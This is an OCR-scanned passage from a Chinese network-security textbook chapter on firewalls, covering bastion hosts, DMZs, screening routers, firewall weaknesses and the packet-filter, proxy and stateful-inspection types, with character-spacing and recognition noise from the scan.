情况 下 ,一 个 堡垒 主机 使 用 两 块 网 卡 ,每 个 网 卡 连接 不 同 的 网 络 。 一 块 网 卡 连接 公司 的 
内 部 网 络 ,用 来 管理 .控制 和 保护 ,而 男 一 块 网 卡 连 接 另 一 个 网 络 ,通常 是 公 网 ,也 就 是 
Internet。 堡 又 主机 经 常 配置 网 关 服 务 。 网 关 服 务 是 一 个 进程 ,用 来 提供 对 从 公 网 到 私 
有 网 络 的 特殊 协议 路 由 ,反之 亦 然 。 在 一 个 应 用 级 的 网 关 里 使 用 的 每 个 应 用 层 协议 都 需 
要 一 个 进程 。 因 此 , 想 通 过 一 台 堡 垒 主机 路 由 E-mail. Web 和 FTP 服务 时 ,必须 为 每 个 
服务 都 提供 一 个 守护 进程 。 

6) 强化 操作 系统 

防火 墙 要 求 尽 可 能 只 配置 必需 的 少量 的 服务 。 为 了 加 强 操作 系统 的 稳固 性 ,防火 墙 
安装 程序 要 禁止 或 删除 所 有 不 需要 的 服务 。 多 数 的 防火 墙 产 品 , 包 括 Axent Raptor 
(www. axent. com ) CheckPoint ( www. checkpoint. com) 和 Network Associates 
Gauntlet (www. networ kassociates. com) 都 可 以 在 目前 较 流 行 的 操作 系统 上 运行 。 如 
Axent Raptor 防火 墙 就 可 以 安装 在 Windows NT Server 4. 0 .Solaris 及 HP-UX 操作 系 
统 上 。 从 理论 上 来 讲 , 让 操作 系统 只 提供 最 基本 的 功能 ,可 以 使 利用 系统 漏洞 来 攻击 的 
方法 变 得 非常 困难 。 最 后 , 当 加 强 系 统 时 ,还 要 考虑 到 除了 TCP/IP 协议 外 不 要 把 任何 
协议 绑 定 到 外 部 网 卡 上 。 

7) 筛选 路 由 器 

筛选 路 由 器 的 另 一 个 术语 是 包 过 滤 路 由 器 或 外 部 路 由 器 , 它 至 少 有 一 个 接口 是 连 向 
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公 网 的 ,如 Internet。 它 对 进出 内 部 网 络 的 所 有 信息 进行 分 析 , 并 按照 一 定 的 安全 策 
略 一 一 信息 过 滤 规则 对 进出 内 部 网 络 的 信息 进行 筛选 ,允许 授权 信息 通过 ,拒绝 非 授 权 
信息 通过 。 信 息 过 滤 规 则 是 以 其 所 收 到 的 数据 包头 信息 为 基础 的 。 采 用 这 种 技术 的 防 
火 墙 优点 在 于 速度 快 ,实现 方便 ,但 安全 性 能 差 , 且 由 于 不 同 操作 系统 环境 下 TCP 和 
UDP 端口 号 所 代表 的 应 用 服务 协议 类 型 有 所 不 同 , 故 兼容 性 差 。 

8) 阻塞 路 由 器 

阻塞 路 由 器 (也 叫 内 部 路 由 器 ) 保 护 内 部 的 网 络 ,使 之 免 受 Internet 和 周边 网 络 的 侵 
犯 。 内 部 路 由 器 为 用 户 的 防火 墙 执行 大 部 分 的 数据 包 过 滤 工 作 。 它 允许 从 内 部 网 络 到 
Internet 的 有 选择 的 出 站 服务 。 这 些 服务 使 用 户 的 站 点 能 使 用 数据 包 过 滤 而 不 是 代理 服 
务 安全 支持 和 安全 提供 的 服务 。 内 部 路 由 器 所 允许 的 在 堡垒 主机 (在 周边 网 络 上 ) 和 用 
户 的 内 部 网 络 之 间 的 服务 可 以 不 同 于 内 部 路 由 器 所 允许 的 在 Internet 和 用 户 的 内 部 网 
络 之 间 的 服务 。 限 制 堡垒 主机 和 内 部 网 络 之 间 的 服务 的 理由 是 减少 由 此 而 导致 的 受到 
来 自 堡 侈 主机 侵袭 的 机 器 的 数量 。 

9) 非 军事 化 区 域 (DMZ) 

DMZ 是 一 个 小 型 网 络 隔离 带 , 存 在 于 公司 的 内 部 网 络 和 外 部 网 络 之 间 。 这 个 网 络 
由 筛选 路 由 器 建立 ,有 时 是 一 个 阻塞 路 由 器 。DMZ 用 来 作为 一 个 额外 的 缓冲 区 以 进 一 
步 隔 离 公 网 和 内 部 私有 网 络 。DMZ 的 另 一 个 名 字 叫 做 Service Network( 服 务 网 ) ,因为 
它 非常 方便 。 这 种 设施 的 缺点 是 存在 于 DMZ 中 的 任何 服务 器 都 不 会 得 到 防火 墙 的 完全 
保护 。 


814 防火 墙 的 主要 缺陷 


由 于 传统 防火 墙 严 格 依赖 于 网 络 拓扑 结构 且 基 于 这 样 一 个 假设 : 防火 墙 把 受 控 实 体 
点 内 部 ( 即 防火 墙 保护 的 内 部 连接 ) 看 作 是 可 靠 和 安全 的 ;而 把 受 控 实 体 点 的 外 部 ( 即 来 
自 防火 墙 外 部 的 每 一 个 访问 ) 都 看 作 是 带 有 攻击 性 的 ,或 者 说 至 少 是 有 潜在 攻击 危险 的 ， 
因而 产生 了 其 自身 无 法 克服 的 缺陷 。 随 着 网 络 规模 日 益 扩 大 和 对 网 络 服务 需求 的 日 渐 
提高 ,防火墙 逐渐 暴露 出 以 下 的 问题 。 


1. 无 法 消灭 攻击 源 


互联 网 上 病毒 ,木马 .恶意 试探 等 造成 的 攻击 行为 源源 不 断 。 设 置 得 当 的 防火 墙 能 
够 阻挡 它们 ,但 是 无 法 清除 攻击 源 。 即 使 防火 墙 进行 了 良好 的 设置 ,使 得 攻击 无 法 穿 透 
防火 墙 ,但 各 种 攻击 仍然 会 源源 不 断 地 向 防火 墙 发 出 尝试 。 例 如 接 主 干 网 1000Mb/s 网 
络 带宽 的 某 站 点 ,其 日 常 流量 中 平均 有 10Mb/s 左右 是 攻击 行为 。 即 使 成 功 设置 了 防火 
墙 , 这 10Mb/s 的 攻击 流量 依然 不 会 有 丝毫 减少 。 


2. 无 法 防御 病毒 攻击 


计算 机 病毒 攻击 的 方式 多 种 多 样 ,大 多 数 病毒 都 是 根据 系统 存在 的 漏洞 进行 攻击 ， 
对 于 这 种 攻击 ,防火墙 经 常 是 无 能 为 力 的 。 在 内 部 网 络 用 户 下 载 外 网 的 带 毒 文件 的 时 
候 ,防火 墙 无 能 为 力 。 
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3. 无 法 阻止 内 部 攻击 


“外 紧 内 松 ” 是 一 般 局 域 网 络 的 特点 。 在 一 道 严密 防守 的 防火 墙 背 后 ,内 部 网 络 一 片 
混乱 也 很 有 可 能 。 比 如 ,外 部 攻击 者 通过 社会 工程 学 发 送 带 木马 的 邮件 、 带 木马 的 URL 
等 方式 在 内 部 主机 上 注入 木马 ,然后 由 中 木马 的 机 器 主动 对 攻击 者 发 起 连接 ,可 以 将 铀 
墙 铁 壁 一 样 的 防火 墙 瞬间 破坏 掉 。 另 外 ,防火 墙 无 法 防御 内 部 各 主机 间 的 攻击 行为 。 


4. 自身 设计 漏洞 


不 管 是 硬件 防火 墙 还 是 软件 防火 墙 , 都 会 出 现 软 / 硬 件 方面 的 故障 ,也 或 多 或 少 存在 
设计 上 的 漏洞 ,不 法 分 子 有 可 能 利用 这 些 设 计 漏 洞 绕 过 防火 墙 , 对 系统 进行 攻击 。 


5. 影响 相关 服务 


通常 为 了 保障 信息 安全 ,人 们 关闭 了 很 多 不 必要 的 服务 。 但 是 这 些 服务 也 有 很 多 是 
很 常用 的 ,关闭 了 它们 之 后 ,网 络 的 易 用 性 显然 会 受到 影响 。 

除了 上 述 主要 不 足 外 ,无 法 防止 潜伏 在 正常 服务 中 的 入 侵 , 因 防 火 墙 过滤 进 出 数据 
造成 网 络 拥塞 ,以 及 防火 墙 仅 对 已 知 入 侵 有 效 等 特点 ,都 限制 了 防火 墙 在 实际 中 的 应 用 。 
在 综合 考虑 具体 运行 的 软 ,硬件 环境 的 情况 下 ,恰当 设置 防火 墙 可 以 部 分 解决 这 些 缺陷 。 
要 彻底 解决 上 述 不 足 , 必 须 对 防火 墙 技术 进行 根本 性 的 变革 ,引入 新 的 检测 和 过 滤 算 法 。 
8.5 节 谈 到 的 智能 防火 墙 就 是 防火 墙 在 改革 和 创新 上 的 有 力 尝 试 。 

[ED 计 论 思考 

(1) 什么 是 防火 墙 ? 列举 现实 中 类 似 于 防火 墙 功 能 的 生活 现象 。 

(2) 使 用 防火 墙 构建 企业 网 络 体系 后 ,管理 员 是 否 可 以 高 枕 无 忧 ? 

(3) 提出 一 种 思路 ,能够 快速 响应 网 络 攻击 行为 。 


82 防火 墙 的 类 型 
为 了 更 好 地 分 析 研 究 防火 墙 技术 ,需要 掌握 防火 墙 的 类 型 .原理 及 特点 .功能 和 结构 
等 相关 知识 以 及 不 同 的 分 类 方式 方法 。 
821 按 物理 特性 划分 
根据 物理 特性 ,防火 墙 分 为 三 大 类 : 软件 防火 墙 、 硬 件 防火 墙 和 软 硬 件 结合 防火 墙 。 
1. 软件 防火 墙 


软件 防火 墙 是 一 种 安装 在 负责 内 外 网 络 转换 的 网 关 服务 器 或 者 独立 的 个 人 计算 机 
上 的 特殊 程序 , 它 是 以 逻辑 形式 存在 的 ,防火 墙 程序 跟随 系统 启动 ,通过 运行 在 Ring0 级 
别 的 特殊 驱动 模块 把 防御 机 制 插入 系统 关于 网 络 的 处 理 部 分 和 网 络 接口 设备 驱动 之 间 ， 
形成 一 种 逻辑 上 的 防御 体系 。 
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e. 
(8 2 23 Bb 第 ?版 ) 


在 没有 软件 防火 墙 之 前 ,系统 和 网 络 接口 设备 之 间 的 通道 是 直通 的 ,网 络 接口 设备 
通过 网 络 驱动 程序 接口 规范 (Network Driver Interface Specification,NDIS) 把 网 络 上 传 
来 的 各 种 报 文 都 直接 交 给 系统 处 理 , 例 如 一 台 计算 机 接收 到 请 求 列 出 机 器 上 所 有 共享 资 
源 的 数据 报 文 ,NDIS 直接 把 这 个 报 文 提交 给 系统 ,系统 在 处 理 后 就 会 返回 相应 数据 ,在 
某 些 情况 下 就 会 造成 信息 泄漏 。 而 使 用 软件 防火 墙 后 ,尽管 NDIS 接收 到 的 仍然 是 原封 
不 动 的 数据 报 文 ,但 是 在 提交 到 系统 的 通道 上 多 了 一 层 防 御 机 制 ,所 有 数据 报 文 都 要 经 
过 这 层 机 制 根 据 一 定 的 规则 判断 处 理 , 只 有 它 认 为 安全 的 数据 才能 到 达 系 统 , 其 他 数据 
则 被 丢弃 。 因 为 有 规则 提 到 “ 列 出 共享 资源 的 行为 是 危险 的 ,因此 在 防火 墙 的 判断 下 ， 
这 个 报 文 会 被 丢弃 ,这 样 一 来 ,系统 接收 不 到 报 文 , 则 认为 什么 事情 也 没 发 生 过 ,也 就 不 
会 把 信息 泄漏 出 去 了 。 

软件 防火 墙 工作 在 系统 接口 与 NDIS 之 间 , 用 于 检查 过 滤 由 NDIS 发 送 过 来 的 数据 ， 
在 无 须 改 动 硬 件 的 前 提 下 便 能 实现 一 定 强度 的 安全 保障 ,但 是 由 于 软件 防火 墙 自身 属于 
运行 于 系统 上 的 程序 ,不 可 避免 地 需要 占用 一 部 分 CPU 资源 维持 工作 ,而 且 由 于 数据 判 
断 处 理 需要 一 定 的 时 间 ,在 一 些 数据 流量 大 的 网 络 里 ,软件 防火 墙 会 使 整个 系统 工作 效 
率 和 数据 吞吐 速度 下 降 , 甚 至 有 些 软 件 防火 墙 会 存在 漏洞 ,导致 有 害 数据 可 以 绕 过 它 的 
防御 体系 ,给 数据 安全 带 来 威胁 ,因此 ,许多 企业 并 不 会 考虑 用 软件 防火 墙 方 案 作 为 公司 
网 络 的 防御 措施 ,而 是 使 用 看 得 见 摸 得 着 的 硬件 防火 墙 。 


2. 硬件 防火 墙 


硬件 防火 墙 是 是 针对 芯片 级 防火 墙 而 言 的 ,最 大 的 差别 在 于 基于 专用 的 硬件 平台 。 
目前 市 场 上 大 多 数 防火 墙 都 是 这 种 所 谓 的 硬件 防火 墙 ,都 基于 PC 架构 ,就 是 说 ,它们 和 
普通 的 家 庭 用 的 PC 没有 太 大 区 别 。 在 这 些 PC 架构 计算 机 上 运行 一 些 经 过 裁 前 和 简化 
的 操作 系统 ,最 常用 的 有 老 版 本 的 UNIX Linux 和 FreeBSD 系统 。 值 得 注意 的 是 ,由 于 
此 类 防火 墙 采用 的 依然 是 别人 的 内 核 , 因 此 依然 会 受到 操作 系统 本 身 的 安全 性 影响 。 

传统 硬件 防火 墙 一 般 至 少 应 具备 3 个 端口 ,分 别 接 内 网 、 外 网 和 DMZ( 非 军事 化 区 )， 
现在 一 些 新 的 硬件 防火 墙 往往 扩展 了 端口 .常见 四 端口 防火 墙 一 般 将 第 四 个 端口 做 为 配 
置 端口 和 管理 端口 。 很 多 防火 墙 还 可 以 进一步 扩展 端口 数目 。 


3. 软 硬 件 结合 防火 墙 


软 硬 件 结合 防火 墙 很 容易 与 硬件 防火 墙 混 淆 ,其 基本 结构 是 机 箱 十 CPU 十 防火 墙 软 
件 集成 于 一 体 (PC-BOX 结构 ) ,其 采用 通用 或 专用 (通常 为 通用 操作 系统 的 定制 版 本 ) 操 
作 系 统 , 但 核心 技术 仍然 为 软件 ,安全 性 在 很 大 程度 上 取决 于 操作 系统 和 所 实现 的 网 络 
协议 栈 的 安全 性 。 因 此 虽然 软 硬 件 结合 防火 墙 的 速度 和 性 能 优 于 软件 防火 墙 ,其 安全 性 
还 是 不 够 理想 ,通常 用 于 小 型 网 络 。 这 种 方式 实现 内 容 过 滤 与 软件 防火 墙 十 分 相似 ,性 
能 不 佳 ,在 骨干 网 中 通常 需要 布置 大 量 硬件 设备 进行 分 流 处 理 , 成 本 高 。 


822 按 过 滤 机 制 划分 
按 过 滤 机 制 的 演化 历史 划分 ,防火 墙 有 包 过 滤 防 火 墙 . 应 用 代理 网 关 防 火 墙 和 状态 
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检测 防火 墙 3 种 类 型 。3 种 防火 墙 的 主要 区 别 在 于 数据 流 语义 理解 。 
1. 包 过 滤 技术 一 一 网 络 级 防火 墙 


包 过 滤 技 术 最 早出 现 于 1976 年 的 Xerox Alto 系统 上 , 称 为 包 多 路 转 接 装 置 ,UNIX 
系统 最 早出 现 包 过 滤 技 术 是 在 1980 年 。 包 过 滤 防火 墙 工 作 在 网 络 层 ,通过 检查 单个 包 
的 地 址 、 协 议 .端口 等 信息 决定 是 否 允 许 此 数据 包 通过 。 路 由 器 就 是 一 个 传统 的 网 络 级 
防火 墙 。 包 过 滤 防 火 墙 检查 规则 表 中 的 每 一 条 规则 ,直至 发 现 包 中 的 信息 与 某 规 则 相 
符 , 如 果 没 有 一 条 能 符合 ,就 会 使 用 默认 规则 ,一 般 情 况 下 ,默认 规则 就 是 要 求 防火 墙 丢 
弃 该 包 。 其 次 ,通过 定义 基于 TCP 或 UDP 数据 包 的 端口 号 ,防火 墙 能 够 判断 是 否 允 许 
建立 特定 的 连接 ,如 Telnet、FTP 连接 。 网 络 级 防火 墙 简洁 ,速度 快 ,费用 低 ,对 用 户 透 
明 , 但 是 对 网 络 的 保护 有 限 , 因 为 它 只 检查 地 址 和 端口 ,对 网 络 更 高 协议 层 的 信息 无 理解 
能 力 。 包 过 滤 可 以 通过 协议 类 型 控制 特定 的 协议 ,通过 IP 地 址 控制 特定 的 源 和 目的 主 
机 ,通过 控制 源 和 目的 端口 控制 特定 的 网 络 服务 ,通过 制定 IP 地 址 和 端口 号 的 组 合 规 
则 ,可 以 让 某 些 特定 服务 必须 通过 某 一 特定 的 IP 地 址 进行 细致 的 检查 。 图 8-2 给 出 了 包 
过 滤 防 火 墙 的 示意 图 。 使 用 包 过 滤 防火 墙 的 主要 优点 如 下 : 


”过 小 规则 F. z 
应 用 层 
路 由 器 传输 层 
网 络 层 [上 网银 F 网 络 层 
[EI 链 路 层 链 路 层 
物理 层 物理 层 物理 层 


8-2 包 过 滤 防火 墙 


(1) 防火 墙 对 每 条 传人 和 传 出 网 络 的 包 实 行 低 水 平 控制 。 

(2) 每 个 IP 包 的 字段 都 被 检查 ,例如 源 地 址 .目的 地 址 ,协议 、 端 口 等 。 防 火 墙 将 基 
于 这 些 信息 应 用 过 滤 规则 。 

(3) 防火 墙 可 以 识别 和 丢弃 带 欺 骗 性 源 IP 地 址 的 包 。 

(4) 包 过 滤 防 火 墙 是 两 个 网 络 之 间 访 问 的 唯一 来 源 。 因 为 所 有 的 通信 必须 通过 防火 
墙 , 绕 过 是 困难 的 。 

(5) 包 过 滤 通 常 被 包含 在 路 由 器 数据 包 中 ,所 以 不 必 额 外 的 系统 来 处 理 这 个 特征 。 

在 整个 防火 墙 技术 的 发 展 过 程 中 , 包 过 滤 技 术 出 现 了 两 种 不 同 版 本 , 称 为 "第 一 代 静 
态 包 过 滤 ” 和 "第 二 代 动 态 包 过 滤 ”。 

(1) 第 一 代 静 态 包 过 滤 类 型 防火 墙 。 这 类 防火 墙 几乎 是 与 路 由 器 同时 产生 的 ,是 根 
据 定义 好 的 过 滤 规 则 审查 每 个 数据 包 ,以 便 确 定 其 是 否 与 某 一 条 包 过 滤 规 则 匹配 。 过 滤 
规则 基于 数据 包 的 报头 信息 进行 制订 。 报 头 信息 中 包括 IP 源 地 址 、IP 目标 地 址 、 传 输 协 
议 (TCP.UDP ICMP %).TCP/UDP 目标 端口 IJCMP 消息 类 型 等 。 其 数据 通路 如 图 8-3 所 
示 ( 下 文 提 到 的 数据 通路 图 中 ,中 间 一 列表 示 的 是 防火 墙 ,左右 两 列 分 别 表示 连接 的 两 台 
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计算 机 )。 
应 用 层 应 用 层 应 用 层 
表示 层 表示 层 表示 层 
会 话 层 会 话 层 会 话 层 
传输 层 传输 层 传输 层 
网 络 层 网 络 层 网 络 层 
数据 链 路 层 数据 链 路 层 数据 链 路 层 
物理 层 物理 层 物理 层 


8-3 第 一 代 静 态 包 过 滤 防 火 墙 的 数据 通路 


(2) 第 二 代 动 态 包 过 滤 类 型 防火 墙 。 这 类 防火 墙 采用 动态 设置 包 过 滤 规 则 的 方法 ， 
避免 了 静态 包 过 滤 所 具有 的 问题 。 这 种 技术 后 来 发 展 成 为 包 状 态 监 测 (stateful 
inspection) 技 术 。 采 用 这 种 技术 的 防火 墙 对 通过 其 建立 的 每 一 个 连接 都 进行 跟踪 ,并 且 
根据 需要 可 动态 地 在 过 滤 规 则 中 增加 或 更 新 条 目 , 具 体 的 数据 通路 如 图 8-4 所 示 。 


应 用 层 应 用 层 应 用 层 
会 话 层 会 话 层 会 话 层 
传输 层 传输 层 传输 层 
网 络 层 网 络 层 网 络 层 
数据 链 路 层 数据 链 路 层 数据 链 路 层 
物理 层 物理 层 物理 层 
连接 状态 表 


图 8-4 第 二 代 包 过 滤 防 火 墙 的 数据 通路 


包 过 滤 方 式 的 优点 是 不 用 改动 客户 机 和 主机 上 的 应 用 程序 ,因为 它 工作 在 网 络 层 和 
传输 层 ,与 应 用 层 无 关 。 但 其 弱点 也 是 明显 的 : 过 滤 判 别 的 依据 只 是 网 络 层 和 传输 层 的 
有 限 信息 ,因而 各 种 安全 要 求 不 可 能 充分 满足 ;在 许多 过 滤器 中 ,过 滤 规 则 的 数目 是 有 限 
制 的 , 且 随 着 规则 数目 的 增加 ,性 能 会 受到 很 大 的 影响 :由 于 缺少 上 下 文 关 联 信息 ,不 能 
有 效 地 过 滤 如 UDP、RPC( 远 程 过 程 调用 ) 一 类 的 协议 ;另外 ,大 多 数 过 滤器 中 缺少 审计 和 
报警 机 制 , 它 只 能 依据 包头 信息 ,而 不 能 对 用 户 身份 进行 验证 ,很 容易 受到 “地 址 欺骗 型 ” 
攻击 。 对 安全 管理 人 员 素 质 要 求 高 ,建立 安全 规则 时 ,必须 对 协议 本 身 及 其 在 不 同 应 用 
程序 中 的 作用 有 较 深 入 的 理解 。 因 此 ,过 滤器 通常 是 和 应 用 网 关 配 合 使 用 ,共同 组 成 防 
火 墙 系统 。 


2. 应 用 代理 技术 一 一 应 用 网 关 防 火 墙 


代理 (proxy) 主机 防火 墙 就 是 内 部 网 络 计算 机 用 户 与 代理 网 关 采 用 一 种 通信 方式 即 
内 部 网 络 协议 (NetBIOS、TCP/IP 等 ) 。 而 网 关 与 Internet 之 间 采 取 的 是 标准 TCP/IP 网 
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络 通信 协议 。 这 样 使 得 网 络 数据 包 不 能 直接 在 内 外 网 络 之 间 进 行 。 

应 用 代理 防火 墙 是 目前 最 安全 的 防火 墙 技术 ,但 实现 麻烦 ,有 的 应 用 级 网 关 缺 乏 “ 透 
明度 ”。 经 常会 出 现 访问 延迟 和 多 次 登录 才能 访问 外 网 的 问题 。 应 用 级 防火 墙 每 一 种 协 
议 需 要 相应 的 代理 软件 ,使 用 时 工作 量 大 ,效率 明显 不 如 网 络 级 防火 墙 。 

代理 服务 是 指 在 防火 墙 主机 上 运行 的 特定 的 应 用 程序 或 服务 器 程序 。 基 于 代理 服 
务 的 防火 墙 是 在 应 用 层 实现 的 , 它 提 供 了 较 高 的 安全 性 、 较 强 的 访问 控制 能 力 和 身份 验 
证 功能 。 

代理 防火 墙 通常 支持 的 一 些 常见 的 应 用 程序 有 HTTP、HTTPS/SSL、 SMTP、 
POP3.IMAP.NNTP.Telnet.FTP.IRC 等 。 应 用 程序 代理 防火 墙 可 以 配置 成 允许 来 自 
内 部 网 络 的 任何 连接 , 它 也 可 以 配置 成 要 求 用 户 认证 后 才 建 立 连接 。 要 求 认证 的 方式 只 
能 为 已 知 的 用 户 建立 连接 的 这 种 限制 为 安全 性 提供 了 额外 的 保证 。 如 果 网 络 受到 危害 ， 
这 个 特征 使 得 从 内 部 发 动 攻击 的 可 能 性 大 大 减少 。 图 8-5 给 出 了 应 用 代理 网 关 防 火 墙 的 
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应 用 程序 


应 用 层 应 用 层 u 应 用 层 
传输 层 传输 层 传输 层 


网 络 层 网 络 层 网 络 层 | | 
链 路 层 链 路 层 链 路 层 
物理 层 物理 层 物理 层 


图 8-5 应 用 代理 网 关 防 火 墙 


使 用 应 用 程序 代理 防火 墙 的 主要 优点 如 下 : 

(1) 指定 对 连接 的 控制 ,例如 允许 或 拒绝 基于 服务 器 、 地 址 的 访问 ,或 者 是 允许 或 拒 
绝 基 于 用 户 所 请 求 连接 的 IP 地 址 的 访问 。 

(2) 通过 限制 某 些 协 议 的 传 出 请 求 来 减少 网 络 中 不 必要 的 服务 。 大 多 数 代理 防火 墙 
能 够 记录 所 有 的 连接 ,包括 地 址 和 持续 时 间 。 这 些 信息 对 追踪 攻击 和 发 生 的 未 授权 访问 
的 事件 是 很 有 用 的 。 

代理 防火 墙 是 以 牺牲 速度 为 代价 换取 了 比 包 过 滤 防 火 墙 更 高 的 安全 性 能 ,在 网 络 知 
吐 量 不 是 很 大 的 情况 下 ,也 许 用 户 不 会 察觉 到 什么 ,然而 到 了 数据 交换 频繁 的 时 刻 ,代理 
防火 墙 就 成 了 整个 网 络 的 瓶颈 ,而 且 一 旦 防火 墙 的 硬件 配置 支撑 不 住 高 强度 的 数据 流量 
而 发 生 罢 工 ,整个 网 络 可 能 就 会 因此 瘫痪 了 。 所 以 ,代理 防火 墙 的 普及 范围 还 远 远 不 及 
包 过 滤 型 防火 墙 ,而 在 软件 防火 墙 方面 更 是 几乎 没 见 过 类 似 产 品 了 一 一 单机 并 不 具备 代 
理 技术 所 需 的 条 件 ,所 以 就 目前 整个 庞大 的 软件 防火 墙 市 场 来 说 ,代理 防火 墙 很 难 有 立 
足 之 地 。 
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3. 状态 检测 技术 一 一 动态 包 过 滤 


状态 检测 技术 是 继 包 过 滤 技 术 和 应 用 代理 技术 后 出 现 的 防火 墙 技术 ,状态 检测 最 早 
由 Checkpoint 公司 提出 。 对 新 建 的 应 用 连接 ,状态 检测 检查 预先 设置 的 安全 规则 ,允许 
符合 规则 的 连接 通过 ,并 在 内 存 中 记录 该 连接 的 相关 信息 ,生成 状态 表 。 对 该 连接 的 后 
续 数 据 包 , 只 要 符合 状态 表 就 可 以 通过 。 传 统 的 包 过 滤 在 遇 到 利用 动态 端口 的 协议 时 会 
发 生 困难 ,如 FTP, 防 火 墙 事先 无 法 知道 哪些 端口 需要 打开 ,而 如 果 采 用 原始 的 静态 包 过 
滤 , 又 希望 用 到 此 服务 的 话 ,就 需要 事先 将 所 有 可 能 用 到 的 端口 打开 ,而 这 往往 是 一 个 非 
常 大 的 范围 ,会 给 安全 带 来 不 必要 的 隐患 。 而 状态 检测 通过 检查 应 用 程序 信息 (如 FTP 
的 PORT 和 PASS 命令 ) 来 判断 此 端口 是 否 允许 需要 临时 打开 ,而 当 传 输 结束 时 ,端口 又 
马上 恢复 为 关闭 状态 。 

状态 检测 提供 的 额外 服务 有 : 将 某 些 类 型 的 连接 重 定向 到 审核 服务 中 去 ;拒绝 携带 
某 些 数据 的 网 络 通信 。 

跟踪 连接 状态 的 方式 取决 于 包 通 过 防火 墙 时 的 类 型 

(1) TCP 包 。 当 建立 起 一 个 TCP 连接 时 ,通过 的 第 一 个 包 被 标 有 包 的 SYN 标志 。 
通常 情况 下 ,防火 墙 丢弃 所 有 外 部 的 连接 企图 ,除非 已 经 建立 起 某 一 条 特定 规则 来 处 理 
它们 。 对 内 部 试图 连 到 外 部 主机 的 连接 ,防火 墙 注 明 连 接 包 ,允许 响应 及 允许 随后 在 两 
个 主机 之 间 的 包 通 过 ,直到 连接 结束 为 止 。 在 这 种 方式 下 ,传人 的 包 只 有 在 它 是 响应 一 
个 已 建立 的 连接 时 才 会 被 允许 通过 。 

(2) UDP 包 。UDP 数据 包 比 TCP 数据 包 简 单 ,因为 UDP 包 不 包含 任何 连接 或 序 
列 信息 ,只 包含 源 地 址 、 目 的 地 址 、 校 验 和 携带 的 数据 。 这 种 信息 的 缺乏 使 基于 深度 包 检 
测 技术 研究 的 防火 墙 确定 包 的 合法 性 很 困难 ,因为 没有 打开 的 连接 可 利用 ,以 测试 传 入 
的 包 是 否 应 被 允许 通过 。 可 是 ,如 果 防 火 墙 跟踪 包 的 状态 ,就 可 以 确定 。 对 传人 的 包 , 若 
它 所 使 用 的 地 址 和 UDP 包 携 带 的 协议 与 传 出 的 连接 请 求 匹配 ,该 数据 包 就 被 允许 通过 。 
和 TCP 包 一 样 ,没有 传人 的 UDP 包 会 被 允许 通过 ,除非 是 响应 传 出 的 请 求 或 已 经 建立 
了 指定 的 规则 来 处 理 。 

(3) 对 其 他 种 类 的 包 , 情 况 和 UDP 包 类 似 。 防 火 墙 仔细 地 跟踪 传 出 的 请 求 , 记 录 所 
使 用 的 地 址 、 协 议和 包 的 类 型 ,然后 对 照 保存 过 的 信息 核对 传人 的 包 , 以 确保 这 些 包 被 

使 用 状态 /动态 检测 防火 墙 的 主要 优点 如 下 : 

(1) 检查 IP 包 的 每 个 字段 的 能 力 ,并 遵从 基于 包 中 信息 的 过 滤 规 则 。 

(2) 识别 带 有 欺骗 性 源 IP 地 址 包 的 能 力 。 

(3) 防火 墙 是 两 个 网 络 之 间 访 问 的 唯一 来 源 。 因 为 所 有 的 通信 必须 通过 防火 墙 , 绕 
过 是 困难 的 。 

(4) 基于 应 用 程序 信息 验证 一 个 包 的 状态 的 能 力 , 如 基于 一 个 已 经 建立 的 FTP 连 
接 , 人 允许 返回 的 FTP 包 通 过 ,或 允许 一 个 先前 认证 过 的 连接 继续 与 被 授予 的 服务 通信 , 

(5) 记录 有 关 通 过 的 每 个 包 的 详细 信息 的 能 力 。 基 本 上 ,防火墙 用 来 确定 包 状 态 的 
所 有 信息 都 可 以 被 记录 ,包括 应 用 程序 对 包 的 请 求 、 连 接 的 持续 时 间 、 内 部 和 外 部 系统 所 
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由 于 状态 监视 技术 相当 于 结合 了 包 过 滤 技术 和 应 用 代理 技术 ,因此 是 最 先进 的 ,但 
是 由 于 实现 技术 复杂 ,在 实际 应 用 中 还 不 能 做 到 真正 完全 有 效 的 数据 安全 检测 ,而且 在 
一 般 的 计算 机 硬件 系统 上 很 难 设计 出 基于 此 技术 的 完善 防御 措施 ,市 面 上 大 部 分 软件 防 
火 墙 使 用 的 其 实 只 是 包 过 滤 技 术 加 上 一 点 其 他 新 特性 而 已 。 

未 来 防火 墙 将 位 于 网 络 级 防火 墙 和 应 用 级 防火 墙 之 间 , 即 网 络 级 防火 墙 识别 通过 的 
信息 的 能 力 将 变 得 更 强 ,而 应 用 级 防火 墙 在 目前 功能 上 则 向 “透明 ”低级 ”方面 发 展 ,使 
防火 墙 向 着 更 安全 可 信 快速 便捷 的 方向 发 展 。 


823 按 处 理 能 力 划 分 


目前 ,防火 墙 按 处 理 能 力 可 划分 为 百 兆 防 火 墙 、. 千 兆 防火 墙 及 万 兆 防 火 墙 。 一 般 来 
说 ,软件 防火 墙 和 软 硬 件 结合 防火 墙 的 处 理 能 力 可 以 在 百 兆 以 上 ,但 是 达 不 到 千 兆 , 硬 件 
防火 墙 可 以 达到 千 兆 以 上 。 随 着 网 络 带 宽 的 不 断 增 加 ,软件 防火 墙 和 软 硬 件 结合 防火 墙 
的 使 用 空间 越 来 越 小 ,硬件 防火 墙 是 适应 未 来 网 络 安全 发 展 的 有 效 手段 。 

目前 很 多 千 兆 硬件 防火 墙 产 品 标 称 有 内 容 过 滤 能 力 ,但 一 般 或 者 是 可 选 模块 ,启用 
后 会 明显 降低 防火 墙 性 能 ;或 者 是 只 能 过 滤 特 定 的 字段 ,如 URL 过 滤 ,并 且 随 着 模式 数 
量 的 增 大 ,性 能 呈 指 数 下 降 。 


824 按 部 署 方式 划分 


按 部 署 方式 可 划分 为 终端 (单机 ) 防 火 墙 和 网 络 防 火 墙 。 终 端 防火 墙 产 品 绝 大 多 数 
是 软件 产品 ,目前 也 有 一 些 高 端 网 卡 具 有 一 定 的 防火 墙 处 理 能 力 , 终 端 防火 墙 由 于 数据 
量 小 ,通常 不 需要 很 高 的 处 理 能 力 ,内 容 过 滤 实 现 相 对 容易 ,但 需要 在 每 个 终端 都 部 署 ， 
成 本 相对 较 高 ,并且 不 利于 集中 式 管 理 。 网 络 防 火 墙 本 质 上 是 一 个 网 络 交换 设备 ,需要 
很 强 的 处 理 能 力 和 转发 能 力 , 并 且 自 身 的 安全 性 要 求 非常 高 ,增加 内 容 过 滤 无 疑 会 带 来 
性 能 的 降低 ,这 也 是 目前 防火 墙 研 究 的 热点 , 即 采用 合理 的 机 制 将 性 能 的 降低 控制 在 可 
以 接受 的 范围 内 。 

ED 讨论 思考 

